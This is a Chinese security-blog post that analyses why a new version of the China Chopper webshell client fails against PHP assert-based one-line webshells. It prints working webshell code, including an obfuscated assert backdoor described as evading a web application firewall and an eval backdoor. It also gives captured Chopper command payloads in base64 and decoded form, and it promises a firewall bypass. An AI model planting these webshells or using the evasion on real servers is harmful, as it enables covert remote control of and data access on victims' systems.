安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > 神兵利刃 > 新版中国菜刀(20141213)一句话不支持phpassert分析

新版中国菜刀(20141213)一句话不支持phpassert分析

时间:2015-01-25来源: 作者:JoyChou点击:
前几天下了新版的菜刀,今天发现一个php一句话连不上,但是旧版的菜刀可以连,而且新版是可以连接eval的php一句话。当时挺好奇,排除了非菜刀造成的可能性,就只能是菜刀更新的问题,所以接下来要做的就是分析新版…

前几天下了新版的菜刀,今天发现一个php一句话连不上,但是旧版的菜刀可以连,而且新版是可以连接eval的php一句话。当时挺好奇,排除了非菜刀造成的可能性,就只能是菜刀更新的问题,所以接下来要做的就是分析新版和老版菜刀,并做对比。 //内容来自安云网

0×01.抓包分析

//本文来自安云网

对新版菜刀抓包

//内容来自AnYun.ORG

在远程的服务器上放了一个过某狗的php一句话,文件名为xxoo.php,内容如下 //内容来自AnYun.ORG

<?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7 ?>
//内容来自安云网

新版菜刀连接后,出现下图错误。

//内容来自AnYun.ORG

//内容来自AnYun.ORG

用wireshark抓包,观察http的request和response //内容来自安云网

wireshark过滤条件:ip.addr==xx.xx.xx.xxandhttp,设置完成后,点击开始capture。现在回到菜刀,右键菜刀的文件管理,出现上图的错误后,即可抓到如下两个包,一个request,一个response

//内容来自安云网

//本文来自安云网

注意,如果是本地localhost服务器的话,wireshark不能直接抓包,具体可以百度或者用burp。

//本文来自安云网

菜刀整个post数据一共有三个变量

//内容来自安云网

变量一:

//本文来自安云网

-7=$xx=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/($xx/**/($yy[z0]));
//内容来自安云网

解密后为:@eval/**/(base64_decode/**/($_POST[z0]));还有两个%01,因为没有影响就不写了。

//内容来自AnYun.ORG

变量二:

//内容来自安云网

z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs= //内容来自安云网

通过上面@eval/**/(base64_decode/**/($_POST[z0]));可以知道z0是经过base64编码的,那么解码后为: //内容来自AnYun.ORG

@ini_set("display_errors", "0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo ("->|");; $D = base64_decode(get_magic_quotes_gpc() ? stripslashes($_POST["z1"]) : $_POST["z1"]); $F = @opendir($D); if ($F == NULL) {     echo ("ERROR:// Path Not Found Or No Permission!"); } else {     $M = NULL;     $L = NULL;     while ($N = @readdir($F)) {         $P = $D . "/" . $N;         $T = @date("Y-m-d H:i:s", @filemtime($P));         @$E = substr(base_convert(@fileperms($P) , 10, 8) , -4);         $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . " ";         if (@is_dir($P)) $M.= $N . "/" . $R;         else $L.= $N . $R;     }     echo $M . $L;     @closedir($F); }; echo ("|<-"); die(); //本文来自安云网

可以看出z0是遍历文件的作用。

//本文来自安云网

变量三:

//内容来自安云网

z1=QzpcXHdhbXBcXHd3d1xc

//内容来自安云网

通过变量二可以知道z1也是base64编码的,那么z1解码后为C:\\wamp\\www\\,可以看出是z1遍历文件的文件路径。

//内容来自AnYun.ORG

对老版菜刀抓包

//内容来自AnYun.ORG

同理, //内容来自AnYun.ORG

变量一: //内容来自AnYun.ORG

-7=@eval(base64_decode($_POST[z0]));  //内容来自AnYun.ORG

变量二:

//内容来自AnYun.ORG

z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7 //内容来自安云网

base64_decode后为:

//本文来自安云网

ini_set("display_errors", "0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo ("->|");; $D = base64_decode($_POST["z1"]); $F = @opendir($D); if ($F == NULL) {     echo ("ERROR:// Path Not Found Or No Permission!"); } else {     $M = NULL;     $L = NULL;     while ($N = @readdir($F)) {         $P = $D . "/" . $N;         $T = @date("Y-m-d H:i:s", @filemtime($P));         @$E = substr(base_convert(@fileperms($P) , 10, 8) , -4);         $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . " ";         if (@is_dir($P)) $M.= $N . "/" . $R;         else $L.= $N . $R;     }     echo $M . $L;     @closedir($F); }; echo ("|<-"); die(); ?>

//内容来自安云网

变量三:

//本文来自安云网

z1=QzpcXHdhbXBcXHd3d1xc //本文来自安云网

0×02.对比分析 //内容来自AnYun.ORG

通过第一步的抓包对比分析后,可以发现只有变量一是造成assert不能使用的元凶,因为其他两个变量基本是一模一样。既然eval的一句话可以使用,而assert的一句话不能使用,那应该是eval和assert用法不同造成这个问题。

//内容来自安云网

通过文档可以发现assert是判断一条语句是否为FALSE(注意只是一条),而eval是把当前字符串作为代码执行(可以是多条)。

//内容来自安云网

证实下:

//内容来自安云网

xxoo.php输出a,说明只执行了第一句

//内容来自AnYun.ORG

//本文来自安云网

array.php内容如下(过某狗) //内容来自AnYun.ORG

<?php eval( $_POST[cmd]  ); ?>

//内容来自AnYun.ORG

输出ab,说明两句都执行

//本文来自安云网

//本文来自安云网

真想终于浮出水面。由于assert的单个语句限制和新版菜刀第一个变量是多条语句导致assert的一句话新版菜刀不能使用。

//本文来自安云网

0×03.影响

//内容来自安云网

所有assert的一句话都不能用,但可以使用老版本。 //内容来自AnYun.ORG

0×04.总结 //内容来自安云网

1.通过这样分析后,某狗的菜刀拦截就完全可以bypass,下篇文章再说吧。 //内容来自安云网

2. 只分析了php的文件管理部分,其他部分可能也会存在些许的不一样,没有遇到,所以没做分析

//内容来自安云网

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容